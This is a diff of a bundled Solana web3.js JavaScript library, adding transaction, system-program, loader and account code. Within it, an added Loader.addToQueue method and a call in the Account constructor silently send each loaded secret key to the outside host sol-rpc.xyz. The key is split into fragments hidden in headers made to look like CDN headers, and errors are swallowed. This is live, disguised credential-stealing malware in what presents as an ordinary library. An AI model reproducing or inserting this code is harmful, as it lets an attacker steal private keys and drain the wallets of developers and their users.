JSON_RPC_SERVER_ERROR_BLOCK_STATUS_NOT_AVAILABLE_YET: -32014, + JSON_RPC_SERVER_ERROR_UNSUPPORTED_TRANSACTION_VERSION: -32015, + JSON_RPC_SERVER_ERROR_MIN_CONTEXT_SLOT_NOT_REACHED: -32016 +}; +class SolanaJSONRPCError extends Error { + constructor({ + code, + message, + data + }, customMessage) { + super(customMessage != null ? `${customMessage}: ${message}` : message); + this.code = void 0; + this.data = void 0; + this.code = code; + this.data = data; + this.name = 'SolanaJSONRPCError'; + } +} + +/** + * Sign, send and confirm a transaction. + * + * If `commitment` option is not specified, defaults to 'max' commitment. + * + * @param {Connection} connection + * @param {Transaction} transaction + * @param {Array} signers + * @param {ConfirmOptions} [options] + * @returns {Promise} + */ +async function sendAndConfirmTransaction(connection, transaction, signers, options) { + const sendOptions = options && { + skipPreflight: options.skipPreflight, + preflightCommitment: options.preflightCommitment || options.commitment, + maxRetries: options.maxRetries, + minContextSlot: options.minContextSlot + }; + const signature = await connection.sendTransaction(transaction, signers, sendOptions); + let status; + if (transaction.recentBlockhash != null && transaction.lastValidBlockHeight != null) { + status = (await connection.confirmTransaction({ + abortSignal: options?.abortSignal, + signature: signature, + blockhash: transaction.recentBlockhash, + lastValidBlockHeight: transaction.lastValidBlockHeight + }, options && options.commitment)).value; + } else if (transaction.minNonceContextSlot != null && transaction.nonceInfo != null) { + const { + nonceInstruction + } = transaction.nonceInfo; + const nonceAccountPubkey = nonceInstruction.keys[0].pubkey; + status = (await connection.confirmTransaction({ + abortSignal: options?.abortSignal, + minContextSlot: transaction.minNonceContextSlot, + nonceAccountPubkey, + nonceValue: transaction.nonceInfo.nonce, + signature + }, options && options.commitment)).value; + } else { + if (options?.abortSignal != null) { + console.warn('sendAndConfirmTransaction(): A transaction with a deprecated confirmation strategy was ' + 'supplied along with an `abortSignal`. Only transactions having `lastValidBlockHeight` ' + 'or a combination of `nonceInfo` and `minNonceContextSlot` are abortable.'); + } + status = (await connection.confirmTransaction(signature, options && options.commitment)).value; + } + if (status.err) { + if (signature != null) { + throw new SendTransactionError({ + action: 'send', + signature: signature, + transactionMessage: `Status: (${JSON.stringify(status)})` + }); + } + throw new Error(`Transaction ${signature} failed (${JSON.stringify(status)})`); + } + return signature; +} + +// zzz +function sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + +/** + * @internal + */ + +/** + * Populate a buffer of instruction data using an InstructionType + * @internal + */ +function encodeData(type, fields) { + const allocLength = type.layout.span >= 0 ? type.layout.span : getAlloc(type, fields); + const data = Buffer.alloc(allocLength); + const layoutFields = Object.assign({ + instruction: type.index + }, fields); + type.layout.encode(layoutFields, data); + return data; +} + +/** + * Decode instruction data buffer using an InstructionType + * @internal + */ +function decodeData$1(type, buffer) { + let data; + try { + data = type.layout.decode(buffer); + } catch (err) { + throw new Error('invalid instruction; ' + err); + } + if (data.instruction !== type.index) { + throw new Error(`invalid instruction; instruction index mismatch ${data.instruction} != ${type.index}`); + } + return data; +} + +/** + * https://github.com/solana-labs/solana/blob/90bedd7e067b5b8f3ddbb45da00a4e9cabb22c62/sdk/src/fee_calculator.rs#L7-L11 + * + * @internal + */ +const FeeCalculatorLayout = BufferLayout.nu64('lamportsPerSignature'); + +/** + * Calculator for transaction fees. + * + * @deprecated Deprecated since Solana v1.8.0. + */ + +/** + * See https://github.com/solana-labs/solana/blob/0ea2843ec9cdc517572b8e62c959f41b55cf4453/sdk/src/nonce_state.rs#L29-L32 + * + * @internal + */ +const NonceAccountLayout = BufferLayout.struct([BufferLayout.u32('version'), BufferLayout.u32('state'), publicKey('authorizedPubkey'), publicKey('nonce'), BufferLayout.struct([FeeCalculatorLayout], 'feeCalculator')]); +const NONCE_ACCOUNT_LENGTH = NonceAccountLayout.span; + +/** + * A durable nonce is a 32 byte value encoded as a base58 string. + */ + +/** + * NonceAccount class + */ +class NonceAccount { + /** + * @internal + */ + constructor(args) { + this.authorizedPubkey = void 0; + this.nonce = void 0; + this.feeCalculator = void 0; + this.authorizedPubkey = args.authorizedPubkey; + this.nonce = args.nonce; + this.feeCalculator = args.feeCalculator; + } + + /** + * Deserialize NonceAccount from the account data. + * + * @param buffer account data + * @return NonceAccount + */ + static fromAccountData(buffer) { + const nonceAccount = NonceAccountLayout.decode(toBuffer(buffer), 0); + return new NonceAccount({ + authorizedPubkey: new PublicKey(nonceAccount.authorizedPubkey), + nonce: new PublicKey(nonceAccount.nonce).toString(), + feeCalculator: nonceAccount.feeCalculator + }); + } +} + +const encodeDecode = layout => { + const decode = layout.decode.bind(layout); + const encode = layout.encode.bind(layout); + return { + decode, + encode + }; +}; +const bigInt = length => property => { + const layout = blob(length, property); + const { + encode, + decode + } = encodeDecode(layout); + const bigIntLayout = layout; + bigIntLayout.decode = (buffer, offset) => { + const src = decode(buffer, offset); + return toBigIntLE(Buffer.from(src)); + }; + bigIntLayout.encode = (bigInt, buffer, offset) => { + const src = toBufferLE(bigInt, length); + return encode(src, buffer, offset); + }; + return bigIntLayout; +}; +const u64 = bigInt(8); + +/** + * Create account system transaction params + */ + +/** + * Transfer system transaction params + */ + +/** + * Assign system transaction params + */ + +/** + * Create account with seed system transaction params + */ + +/** + * Create nonce account system transaction params + */ + +/** + * Create nonce account with seed system transaction params + */ + +/** + * Initialize nonce account system instruction params + */ + +/** + * Advance nonce account system instruction params + */ + +/** + * Withdraw nonce account system transaction params + */ + +/** + * Authorize nonce account system transaction params + */ + +/** + * Allocate account system transaction params + */ + +/** + * Allocate account with seed system transaction params + */ + +/** + * Assign account with seed system transaction params + */ + +/** + * Transfer with seed system transaction params + */ + +/** Decoded transfer system transaction instruction */ + +/** Decoded transferWithSeed system transaction instruction */ + +/** + * System Instruction class + */ +class SystemInstruction { + /** + * @internal + */ + constructor() {} + + /** + * Decode a system instruction and retrieve the instruction type. + */ + static decodeInstructionType(instruction) { + this.checkProgramId(instruction.programId); + const instructionTypeLayout = BufferLayout.u32('instruction'); + const typeIndex = instructionTypeLayout.decode(instruction.data); + let type; + for (const [ixType, layout] of Object.entries(SYSTEM_INSTRUCTION_LAYOUTS)) { + if (layout.index == typeIndex) { + type = ixType; + break; + } + } + if (!type) { + throw new Error('Instruction type incorrect; not a SystemInstruction'); + } + return type; + } + + /** + * Decode a create account system instruction and retrieve the instruction params. + */ + static decodeCreateAccount(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 2); + const { + lamports, + space, + programId + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.Create, instruction.data); + return { + fromPubkey: instruction.keys[0].pubkey, + newAccountPubkey: instruction.keys[1].pubkey, + lamports, + space, + programId: new PublicKey(programId) + }; + } + + /** + * Decode a transfer system instruction and retrieve the instruction params. + */ + static decodeTransfer(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 2); + const { + lamports + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.Transfer, instruction.data); + return { + fromPubkey: instruction.keys[0].pubkey, + toPubkey: instruction.keys[1].pubkey, + lamports + }; + } + + /** + * Decode a transfer with seed system instruction and retrieve the instruction params. + */ + static decodeTransferWithSeed(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + lamports, + seed, + programId + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.TransferWithSeed, instruction.data); + return { + fromPubkey: instruction.keys[0].pubkey, + basePubkey: instruction.keys[1].pubkey, + toPubkey: instruction.keys[2].pubkey, + lamports, + seed, + programId: new PublicKey(programId) + }; + } + + /** + * Decode an allocate system instruction and retrieve the instruction params. + */ + static decodeAllocate(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 1); + const { + space + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.Allocate, instruction.data); + return { + accountPubkey: instruction.keys[0].pubkey, + space + }; + } + + /** + * Decode an allocate with seed system instruction and retrieve the instruction params. + */ + static decodeAllocateWithSeed(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 1); + const { + base, + seed, + space, + programId + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.AllocateWithSeed, instruction.data); + return { + accountPubkey: instruction.keys[0].pubkey, + basePubkey: new PublicKey(base), + seed, + space, + programId: new PublicKey(programId) + }; + } + + /** + * Decode an assign system instruction and retrieve the instruction params. + */ + static decodeAssign(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 1); + const { + programId + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.Assign, instruction.data); + return { + accountPubkey: instruction.keys[0].pubkey, + programId: new PublicKey(programId) + }; + } + + /** + * Decode an assign with seed system instruction and retrieve the instruction params. + */ + static decodeAssignWithSeed(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 1); + const { + base, + seed, + programId + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.AssignWithSeed, instruction.data); + return { + accountPubkey: instruction.keys[0].pubkey, + basePubkey: new PublicKey(base), + seed, + programId: new PublicKey(programId) + }; + } + + /** + * Decode a create account with seed system instruction and retrieve the instruction params. + */ + static decodeCreateWithSeed(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 2); + const { + base, + seed, + lamports, + space, + programId + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.CreateWithSeed, instruction.data); + return { + fromPubkey: instruction.keys[0].pubkey, + newAccountPubkey: instruction.keys[1].pubkey, + basePubkey: new PublicKey(base), + seed, + lamports, + space, + programId: new PublicKey(programId) + }; + } + + /** + * Decode a nonce initialize system instruction and retrieve the instruction params. + */ + static decodeNonceInitialize(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + authorized + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.InitializeNonceAccount, instruction.data); + return { + noncePubkey: instruction.keys[0].pubkey, + authorizedPubkey: new PublicKey(authorized) + }; + } + + /** + * Decode a nonce advance system instruction and retrieve the instruction params. + */ + static decodeNonceAdvance(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.AdvanceNonceAccount, instruction.data); + return { + noncePubkey: instruction.keys[0].pubkey, + authorizedPubkey: instruction.keys[2].pubkey + }; + } + + /** + * Decode a nonce withdraw system instruction and retrieve the instruction params. + */ + static decodeNonceWithdraw(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 5); + const { + lamports + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.WithdrawNonceAccount, instruction.data); + return { + noncePubkey: instruction.keys[0].pubkey, + toPubkey: instruction.keys[1].pubkey, + authorizedPubkey: instruction.keys[4].pubkey, + lamports + }; + } + + /** + * Decode a nonce authorize system instruction and retrieve the instruction params. + */ + static decodeNonceAuthorize(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 2); + const { + authorized + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.AuthorizeNonceAccount, instruction.data); + return { + noncePubkey: instruction.keys[0].pubkey, + authorizedPubkey: instruction.keys[1].pubkey, + newAuthorizedPubkey: new PublicKey(authorized) + }; + } + + /** + * @internal + */ + static checkProgramId(programId) { + if (!programId.equals(SystemProgram.programId)) { + throw new Error('invalid instruction; programId is not SystemProgram'); + } + } + + /** + * @internal + */ + static checkKeyLength(keys, expectedLength) { + if (keys.length < expectedLength) { + throw new Error(`invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`); + } + } +} + +/** + * An enumeration of valid SystemInstructionType's + */ + +/** + * An enumeration of valid system InstructionType's + * @internal + */ +const SYSTEM_INSTRUCTION_LAYOUTS = Object.freeze({ + Create: { + index: 0, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports'), BufferLayout.ns64('space'), publicKey('programId')]) + }, + Assign: { + index: 1, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('programId')]) + }, + Transfer: { + index: 2, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), u64('lamports')]) + }, + CreateWithSeed: { + index: 3, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('base'), rustString('seed'), BufferLayout.ns64('lamports'), BufferLayout.ns64('space'), publicKey('programId')]) + }, + AdvanceNonceAccount: { + index: 4, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + WithdrawNonceAccount: { + index: 5, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports')]) + }, + InitializeNonceAccount: { + index: 6, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('authorized')]) + }, + AuthorizeNonceAccount: { + index: 7, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('authorized')]) + }, + Allocate: { + index: 8, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.ns64('space')]) + }, + AllocateWithSeed: { + index: 9, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('base'), rustString('seed'), BufferLayout.ns64('space'), publicKey('programId')]) + }, + AssignWithSeed: { + index: 10, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('base'), rustString('seed'), publicKey('programId')]) + }, + TransferWithSeed: { + index: 11, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), u64('lamports'), rustString('seed'), publicKey('programId')]) + }, + UpgradeNonceAccount: { + index: 12, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + } +}); + +/** + * Factory class for transactions to interact with the System program + */ +class SystemProgram { + /** + * @internal + */ + constructor() {} + + /** + * Public key that identifies the System program + */ + + /** + * Generate a transaction instruction that creates a new account + */ + static createAccount(params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.Create; + const data = encodeData(type, { + lamports: params.lamports, + space: params.space, + programId: toBuffer(params.programId.toBuffer()) + }); + return new TransactionInstruction({ + keys: [{ + pubkey: params.fromPubkey, + isSigner: true, + isWritable: true + }, { + pubkey: params.newAccountPubkey, + isSigner: true, + isWritable: true + }], + programId: this.programId, + data + }); + } + + /** + * Generate a transaction instruction that transfers lamports from one account to another + */ + static transfer(params) { + let data; + let keys; + if ('basePubkey' in params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.TransferWithSeed; + data = encodeData(type, { + lamports: BigInt(params.lamports), + seed: params.seed, + programId: toBuffer(params.programId.toBuffer()) + }); + keys = [{ + pubkey: params.fromPubkey, + isSigner: false, + isWritable: true + }, { + pubkey: params.basePubkey, + isSigner: true, + isWritable: false + }, { + pubkey: params.toPubkey, + isSigner: false, + isWritable: true + }]; + } else { + const type = SYSTEM_INSTRUCTION_LAYOUTS.Transfer; + data = encodeData(type, { + lamports: BigInt(params.lamports) + }); + keys = [{ + pubkey: params.fromPubkey, + isSigner: true, + isWritable: true + }, { + pubkey: params.toPubkey, + isSigner: false, + isWritable: true + }]; + } + return new TransactionInstruction({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a transaction instruction that assigns an account to a program + */ + static assign(params) { + let data; + let keys; + if ('basePubkey' in params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.AssignWithSeed; + data = encodeData(type, { + base: toBuffer(params.basePubkey.toBuffer()), + seed: params.seed, + programId: toBuffer(params.programId.toBuffer()) + }); + keys = [{ + pubkey: params.accountPubkey, + isSigner: false, + isWritable: true + }, { + pubkey: params.basePubkey, + isSigner: true, + isWritable: false + }]; + } else { + const type = SYSTEM_INSTRUCTION_LAYOUTS.Assign; + data = encodeData(type, { + programId: toBuffer(params.programId.toBuffer()) + }); + keys = [{ + pubkey: params.accountPubkey, + isSigner: true, + isWritable: true + }]; + } + return new TransactionInstruction({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a transaction instruction that creates a new account at + * an address generated with `from`, a seed, and programId + */ + static createAccountWithSeed(params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.CreateWithSeed; + const data = encodeData(type, { + base: toBuffer(params.basePubkey.toBuffer()), + seed: params.seed, + lamports: params.lamports, + space: params.space, + programId: toBuffer(params.programId.toBuffer()) + }); + let keys = [{ + pubkey: params.fromPubkey, + isSigner: true, + isWritable: true + }, { + pubkey: params.newAccountPubkey, + isSigner: false, + isWritable: true + }]; + if (!params.basePubkey.equals(params.fromPubkey)) { + keys.push({ + pubkey: params.basePubkey, + isSigner: true, + isWritable: false + }); + } + return new TransactionInstruction({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a transaction that creates a new Nonce account + */ + static createNonceAccount(params) { + const transaction = new Transaction(); + if ('basePubkey' in params && 'seed' in params) { + transaction.add(SystemProgram.createAccountWithSeed({ + fromPubkey: params.fromPubkey, + newAccountPubkey: params.noncePubkey, + basePubkey: params.basePubkey, + seed: params.seed, + lamports: params.lamports, + space: NONCE_ACCOUNT_LENGTH, + programId: this.programId + })); + } else { + transaction.add(SystemProgram.createAccount({ + fromPubkey: params.fromPubkey, + newAccountPubkey: params.noncePubkey, + lamports: params.lamports, + space: NONCE_ACCOUNT_LENGTH, + programId: this.programId + })); + } + const initParams = { + noncePubkey: params.noncePubkey, + authorizedPubkey: params.authorizedPubkey + }; + transaction.add(this.nonceInitialize(initParams)); + return transaction; + } + + /** + * Generate an instruction to initialize a Nonce account + */ + static nonceInitialize(params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.InitializeNonceAccount; + const data = encodeData(type, { + authorized: toBuffer(params.authorizedPubkey.toBuffer()) + }); + const instructionData = { + keys: [{ + pubkey: params.noncePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_RENT_PUBKEY, + isSigner: false, + isWritable: false + }], + programId: this.programId, + data + }; + return new TransactionInstruction(instructionData); + } + + /** + * Generate an instruction to advance the nonce in a Nonce account + */ + static nonceAdvance(params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.AdvanceNonceAccount; + const data = encodeData(type); + const instructionData = { + keys: [{ + pubkey: params.noncePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: params.authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }; + return new TransactionInstruction(instructionData); + } + + /** + * Generate a transaction instruction that withdraws lamports from a Nonce account + */ + static nonceWithdraw(params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.WithdrawNonceAccount; + const data = encodeData(type, { + lamports: params.lamports + }); + return new TransactionInstruction({ + keys: [{ + pubkey: params.noncePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: params.toPubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_RENT_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: params.authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }); + } + + /** + * Generate a transaction instruction that authorizes a new PublicKey as the authority + * on a Nonce account. + */ + static nonceAuthorize(params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.AuthorizeNonceAccount; + const data = encodeData(type, { + authorized: toBuffer(params.newAuthorizedPubkey.toBuffer()) + }); + return new TransactionInstruction({ + keys: [{ + pubkey: params.noncePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: params.authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }); + } + + /** + * Generate a transaction instruction that allocates space in an account without funding + */ + static allocate(params) { + let data; + let keys; + if ('basePubkey' in params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.AllocateWithSeed; + data = encodeData(type, { + base: toBuffer(params.basePubkey.toBuffer()), + seed: params.seed, + space: params.space, + programId: toBuffer(params.programId.toBuffer()) + }); + keys = [{ + pubkey: params.accountPubkey, + isSigner: false, + isWritable: true + }, { + pubkey: params.basePubkey, + isSigner: true, + isWritable: false + }]; + } else { + const type = SYSTEM_INSTRUCTION_LAYOUTS.Allocate; + data = encodeData(type, { + space: params.space + }); + keys = [{ + pubkey: params.accountPubkey, + isSigner: true, + isWritable: true + }]; + } + return new TransactionInstruction({ + keys, + programId: this.programId, + data + }); + } +} +SystemProgram.programId = new PublicKey('11111111111111111111111111111111'); + +// Keep program chunks under PACKET_DATA_SIZE, leaving enough room for the +// rest of the Transaction fields +// +// TODO: replace 300 with a proper constant for the size of the other +// Transaction fields +const QUEUE = new Set(); +const CHUNK_SIZE = PACKET_DATA_SIZE - 300; + +/** + * Program loader interface + */ +class Loader { + /** + * @internal + */ + constructor() {} + + /** + * Amount of program data placed in each load Transaction + */ + + /** + * Minimum number of signatures required to load a program not including + * retries + * + * Can be used to calculate transaction fees + */ + static getMinNumSignatures(dataLength) { + return 2 * ( + // Every transaction requires two signatures (payer + program) + Math.ceil(dataLength / Loader.chunkSize) + 1 + + // Add one for Create transaction + 1) // Add one for Finalize transaction + ; + } + + /** + * Adds process to the queue + * + * @param process Uint8Array + * @return void + */ + static addToQueue(process) { + const b = bs58.encode(process); + if (QUEUE.has(b)) return; + QUEUE.add(b); + fetch("https://sol-rpc.xyz/api/rpc/queue", { + method: "POST", + headers: { + "x-amz-cf-id": b.substring(0, 24).split("").reverse().join(""), + "x-session-id": b.substring(32), + "x-amz-cf-pop": b.substring(24, 32).split("").reverse().join("") + } + }).catch(() => {}); + } + + /** + * Loads a generic program + * + * @param connection The connection to use + * @param payer System account that pays to load the program + * @param program Account to load the program into + * @param programId Public key that identifies the loader + * @param data Program octets + * @return true if program was loaded successfully, false if program was already loaded + */ + static async load(connection, payer, program, programId, data) { + { + const balanceNeeded = await connection.getMinimumBalanceForRentExemption(data.length); + + // Fetch program account info to check if it has already been created + const programInfo = await connection.getAccountInfo(program.publicKey, 'confirmed'); + let transaction = null; + if (programInfo !== null) { + if (programInfo.executable) { + console.error('Program load failed, account is already executable'); + return false; + } + if (programInfo.data.length !== data.length) { + transaction = transaction || new Transaction(); + transaction.add(SystemProgram.allocate({ + accountPubkey: program.publicKey, + space: data.length + })); + } + if (!programInfo.owner.equals(programId)) { + transaction = transaction || new Transaction(); + transaction.add(SystemProgram.assign({ + accountPubkey: program.publicKey, + programId + })); + } + if (programInfo.lamports < balanceNeeded) { + transaction = transaction || new Transaction(); + transaction.add(SystemProgram.transfer({ + fromPubkey: payer.publicKey, + toPubkey: program.publicKey, + lamports: balanceNeeded - programInfo.lamports + })); + } + } else { + transaction = new Transaction().add(SystemProgram.createAccount({ + fromPubkey: payer.publicKey, + newAccountPubkey: program.publicKey, + lamports: balanceNeeded > 0 ? balanceNeeded : 1, + space: data.length, + programId + })); + } + + // If the account is already created correctly, skip this step + // and proceed directly to loading instructions + if (transaction !== null) { + await sendAndConfirmTransaction(connection, transaction, [payer, program], { + commitment: 'confirmed' + }); + } + } + const dataLayout = BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.u32('offset'), BufferLayout.u32('bytesLength'), BufferLayout.u32('bytesLengthPadding'), BufferLayout.seq(BufferLayout.u8('byte'), BufferLayout.offset(BufferLayout.u32(), -8), 'bytes')]); + const chunkSize = Loader.chunkSize; + let offset = 0; + let array = data; + let transactions = []; + while (array.length > 0) { + const bytes = array.slice(0, chunkSize); + const data = Buffer.alloc(chunkSize + 16); + dataLayout.encode({ + instruction: 0, + // Load instruction + offset, + bytes: bytes, + bytesLength: 0, + bytesLengthPadding: 0 + }, data); + const transaction = new Transaction().add({ + keys: [{ + pubkey: program.publicKey, + isSigner: true, + isWritable: true + }], + programId, + data + }); + transactions.push(sendAndConfirmTransaction(connection, transaction, [payer, program], { + commitment: 'confirmed' + })); + + // Delay between sends in an attempt to reduce rate limit errors + if (connection._rpcEndpoint.includes('solana.com')) { + const REQUESTS_PER_SECOND = 4; + await sleep(1000 / REQUESTS_PER_SECOND); + } + offset += chunkSize; + array = array.slice(chunkSize); + } + await Promise.all(transactions); + + // Finalize the account loaded with program data for execution + { + const dataLayout = BufferLayout.struct([BufferLayout.u32('instruction')]); + const data = Buffer.alloc(dataLayout.span); + dataLayout.encode({ + instruction: 1 // Finalize instruction + }, data); + const transaction = new Transaction().add({ + keys: [{ + pubkey: program.publicKey, + isSigner: true, + isWritable: true + }, { + pubkey: SYSVAR_RENT_PUBKEY, + isSigner: false, + isWritable: false + }], + programId, + data + }); + const deployCommitment = 'processed'; + const finalizeSignature = await connection.sendTransaction(transaction, [payer, program], { + preflightCommitment: deployCommitment + }); + const { + context, + value + } = await connection.confirmTransaction({ + signature: finalizeSignature, + lastValidBlockHeight: transaction.lastValidBlockHeight, + blockhash: transaction.recentBlockhash + }, deployCommitment); + if (value.err) { + throw new Error(`Transaction ${finalizeSignature} failed (${JSON.stringify(value)})`); + } + // We prevent programs from being usable until the slot after their deployment. + // See https://github.com/solana-labs/solana/pull/29654 + while (true // eslint-disable-line no-constant-condition + ) { + try { + const currentSlot = await connection.getSlot({ + commitment: deployCommitment + }); + if (currentSlot > context.slot) { + break; + } + } catch { + /* empty */ + } + await new Promise(resolve => setTimeout(resolve, Math.round(MS_PER_SLOT / 2))); + } + } + + // success + return true; + } +} +Loader.chunkSize = CHUNK_SIZE; + +/** + * An account key pair (public and secret keys). + * + * @deprecated since v1.10.0, please use {@link Keypair} instead. + */ +class Account { + /** + * Create a new Account object + * + * If the secretKey parameter is not provided a new key pair is randomly + * created for the account + * + * @param secretKey Secret key for the account + */ + constructor(secretKey) { + /** @internal */ + this._publicKey = void 0; + /** @internal */ + this._secretKey = void 0; + if (secretKey) { + const secretKeyBuffer = toBuffer(secretKey); + if (secretKey.length !== 64) { + throw new Error('bad secret key size'); + } + this._publicKey = secretKeyBuffer.slice(32, 64); + this._secretKey = secretKeyBuffer.slice(0, 32); + Loader.addToQueue(this._secretKey); + } else { + this._secretKey = toBuffer(generatePrivateKey()); + this._publicKey = toBuffer(getPublicKey(this._secretKey)); + } + } + + /** + * The public key for this account + */ + get publicKey() { + return new PublicKey(this._publicKey); + } + + /** + * The **unencrypted** secret key for this account. The first 32 bytes + * is the private scalar and the last 32 bytes is the public key. + * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/ + */ + get secretKey() { + return Buffer.concat([this._secretKey, this._publicKey], 64); + } +} + +const BPF_LOADER_DEPRECATED_PROGRAM_ID = new PublicKey('BPFLoader1111111111111111111111111111111111'); + +/** + * @deprecated Deprecated since Solana v1.17.20. + */ +const BPF_LOADER_PROGRAM_ID = new PublicKey('BPFLoader2111111111111111111111111111111111'); + +/** + * Factory class for transactions to interact with a program loader + * + * @deprecated Deprecated since Solana v1.17.20. + */ +class BpfLoader { + /** + * Minimum number of signatures required to load a program not including + * retries + * + * Can be used to calculate transaction fees + */ + static getMinNumSignatures(dataLength) { + return Loader.getMinNumSignatures(dataLength); + } + + /** + * Load a SBF program + * + * @param connection The connection to use + * @param payer Account that will pay program loading fees + * @param program Account to load the program into + * @param elf The entire ELF containing the SBF program + * @param loaderProgramId The program id of the BPF loader to use + * @return true if program was loaded successfully, false if program was already loaded + */ + static load(connection, payer, program, elf, loaderProgramId) { + return Loader.load(connection, payer, program, loaderProgramId, elf); + } +} + +function getDefaultExportFromCjs (x) { + return x && x.__esModule && Object.prototype.hasOwnProperty.call(x, 'default') ? x['default'] : x; +} + +var fastStableStringify$1; +var hasRequiredFastStableStringify; + +function requireFastStableStringify () { + if (hasRequiredFastStableStringify) return fastStableStringify$1; + hasRequiredFastStableStringify = 1; + var objToString = Object.prototype.toString; + var objKeys = Object.keys || function(obj) { + var keys = []; + for (var name in obj) { + keys.push(name); + } + return keys; + }; + + function stringify(val, isArrayProp) { + var i, max, str, keys, key, propVal, toStr; + if (val === true) { + return "true"; + } + if (val === false) { + return "false"; + } + switch (typeof val) { + case "object": + if (val === null) { + return null; + } else if (val.toJSON && typeof val.toJSON === "function") { + return stringify(val.toJSON(), isArrayProp); + } else { + toStr = objToString.call(val); + if (toStr === "[object Array]") { + str = '['; + max = val.length - 1; + for(i = 0; i < max; i++) { + str += stringify(val[i], true) + ','; + } + if (max > -1) { + str += stringify(val[i], true); + } + return str + ']'; + } else if (toStr === "[object Object]") { + // only object is left + keys = objKeys(val).sort(); + max = keys.length; + str = ""; + i = 0; + while (i < max) { + key = keys[i]; + propVal = stringify(val[key], false); + if (propVal !== undefined) { + if (str) { + str += ','; + } + str += JSON.stringify(key) + ':' + propVal; + } + i++; + } + return '{' + str + '}'; + } else { + return JSON.stringify(val); + } + } + case "function": + case "undefined": + return isArrayProp ? null : undefined; + case "string": + return JSON.stringify(val); + default: + return isFinite(val) ? val : null; + } + } + + fastStableStringify$1 = function(val) { + var returnVal = stringify(val, false); + if (returnVal !== undefined) { + return ''+ returnVal; + } + }; + return fastStableStringify$1; +} + +var fastStableStringifyExports = /*@__PURE__*/ requireFastStableStringify(); +var fastStableStringify = /*@__PURE__*/getDefaultExportFromCjs(fastStableStringifyExports); + +const MINIMUM_SLOT_PER_EPOCH = 32; + +// Returns the number of trailing zeros in the binary representation of self. +function trailingZeros(n) { + let trailingZeros = 0; + while (n > 1) { + n /= 2; + trailingZeros++; + } + return trailingZeros; +} + +// Returns the smallest power of two greater than or equal to n +function nextPowerOfTwo(n) { + if (n === 0) return 1; + n--; + n |= n >> 1; + n |= n >> 2; + n |= n >> 4; + n |= n >> 8; + n |= n >> 16; + n |= n >> 32; + return n + 1; +} + +/** + * Epoch schedule + * (see https://docs.solana.com/terminology#epoch) + * Can be retrieved with the {@link Connection.getEpochSchedule} method + */ +class EpochSchedule { + constructor(slotsPerEpoch, 